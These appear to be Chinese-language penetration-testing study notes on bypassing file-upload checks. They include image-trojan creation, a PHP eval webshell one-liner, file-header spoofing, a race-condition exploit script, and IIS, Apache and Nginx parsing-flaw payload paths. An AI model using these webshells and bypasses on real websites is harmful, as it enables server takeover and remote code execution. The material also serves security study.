1、后端绕过
代码问题漏洞
(1)图片马的制作
copy 1.png /b + shell.php /a webshell.jpg
直接在图片中插入(十六进制)webshell:<?php @eval($_POST['x']);?>
(2)文件头检测
一般用十六进制器修改(burpsuit抓包修改头文件)
JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
(3)图像文件信息判断
注意检测函数,配合文件包含漏洞执行
getimagesize()
:图片信息获取
获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息
<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>
也就是说出现这个函数本身就是一种过滤,若文件不是图片则会返回false
exif_imagetype()
:图像类型判断,只接受图片
<?php
if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
echo "The picture is not a gif";
}
?>
imagecreatefromgif()
:由文件或 URL 创建一个新图像
返回一图像标识符,代表了从给定的文件名取得的图像。
(4)逻辑安全
- 二次渲染
From:https://blog.csdn.net/weixin_45588247/article/details/119177948
网站接受目标后会再次进行操作(会对文件进行二次操作)
原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
利用:
对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据,将webshell插入其中或配合条件竞争
- 条件竞争
From:https://blog.csdn.net/mmzkyl/article/details/112318210
https://cloud.tencent.com/developer/article/1650655
形成原因:
由于服务器端在处理不同用户的请求时是并发进行处理的,如果对这些并发操作处理不当的话会由于一些时序问题导致一些异常情况的发生
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
代码逻辑:
先通过move_uploaded_file(tempfile,upload_file)将文件上传至服务器中。
上传完毕后通过in_array(fileext,ext_arr)检查文件名后缀
如果后缀名合法,则对文件进行重命名,上传完成
如果后缀名非法,则删除文件。
若将将一句话木马写入文件直接上传,然后通过蚁剑连接的想法还是将其打消了吧,可能蚁剑还没连上或者刚连上,一句话木马文件就被删除了
利用方法:
<?php
$file=fopen("xxx.php","w");
$string='<?php @eval($_POST["x"]); ?>';
fwrite($file,$string);
fcolse();
?>
可以通过条件竞争的方式在unlink之前,访问webshell。用burp中不断发送上传webshell的数据包然后不断在浏览器中访问,可以通过竞争访问到文件。
(5)目录命名+数组接收
伪造成文件夹上传,但成功后会以文件的形式保存
UPLOAD_PATH . '/' . $file_name;
upload/upload-19.php/.jpg
upload/upload-19.php/. :成功上传后:upload-19.php
xiaodi.jpg
x[0]=xiaodi
x[1]= .
x[2]=jpg
(6)CVE漏洞
CVE-2015-5254、CVE-2017-12615、CVE-2019-2618
2、解析漏洞
搭建平台漏洞
(1)IIS
IIS6.0
//文件夹
image/qq.jpg
image.asp/qq.jpg qq.jpg会被当做asp解析
//文件
image.jpg
image.asp;.jpg或xxx.asp;xxx.jpg
//文件会被当做asp执行
eg:/x.asp;.1.jpg 实际执行asp文件
(2)Apache
黑名单
低版本:
1.php.xxx也能别执行成php文件
原理:
Apache会从右往左识别知道识别到能执行的文件
换行解析:
2.4.0-2.4.29版本
1.php\x0A可被解析为php文件
在burpsuit中修改十六进制为0a
(3)Nginx
From:https://blog.csdn.net/m0_51803069/article/details/109330765
- 配置错误:
原理:Nginx中PHP配置不当(php.ini)与nginx版本无关
php.ini中cgi.fix_pathinfo=1
Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。
新版本的php在php-fpm.conf
文件引入了security.limit_extensions=.php
限制了可执行文件的后缀,默认只允许执行.php文件
- 漏洞利用
先上传一个xxx.jpg的图片马,访问此路径/xxx.jpg/test.php
- CVE-2013-4547(文件名逻辑漏洞)
原理:
利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
php-fpm.conf
中的security.limit_extensions
为空,也就是说任意后缀名都可以解析为PHP
- 漏洞利用
构造/test.aaa \0.php
让nginx把test.aaa解析为php文件执行
test.aaa[0x20](空格)[0x00](\0).php
3、编辑器漏洞
(1)常用编辑器
Fckeditor、Ueditor、kindeditor、CKEditor
(2)扩展
POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。
EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。
VUL(Vulnerability),泛指漏洞。
CVE漏洞编(公共漏洞和暴露)为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。
CVE网站:
http://www.scap.org.cn/
https://cve.mitre.org/
4、文件上传思路
(1)上传文件和执行文件是两个东西
(2)漏洞分类:
解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)
(3)思路:
- 拿到网站可以先看文件上传功能是否利用
- 查看中间件,是否存在解析漏洞/CMS/编辑器漏洞/CVE
- 若存在上述漏洞:字典扫描:扫描会员中心,文件上传的位置
- 若无则进行验证,解析(黑名单,白名单?)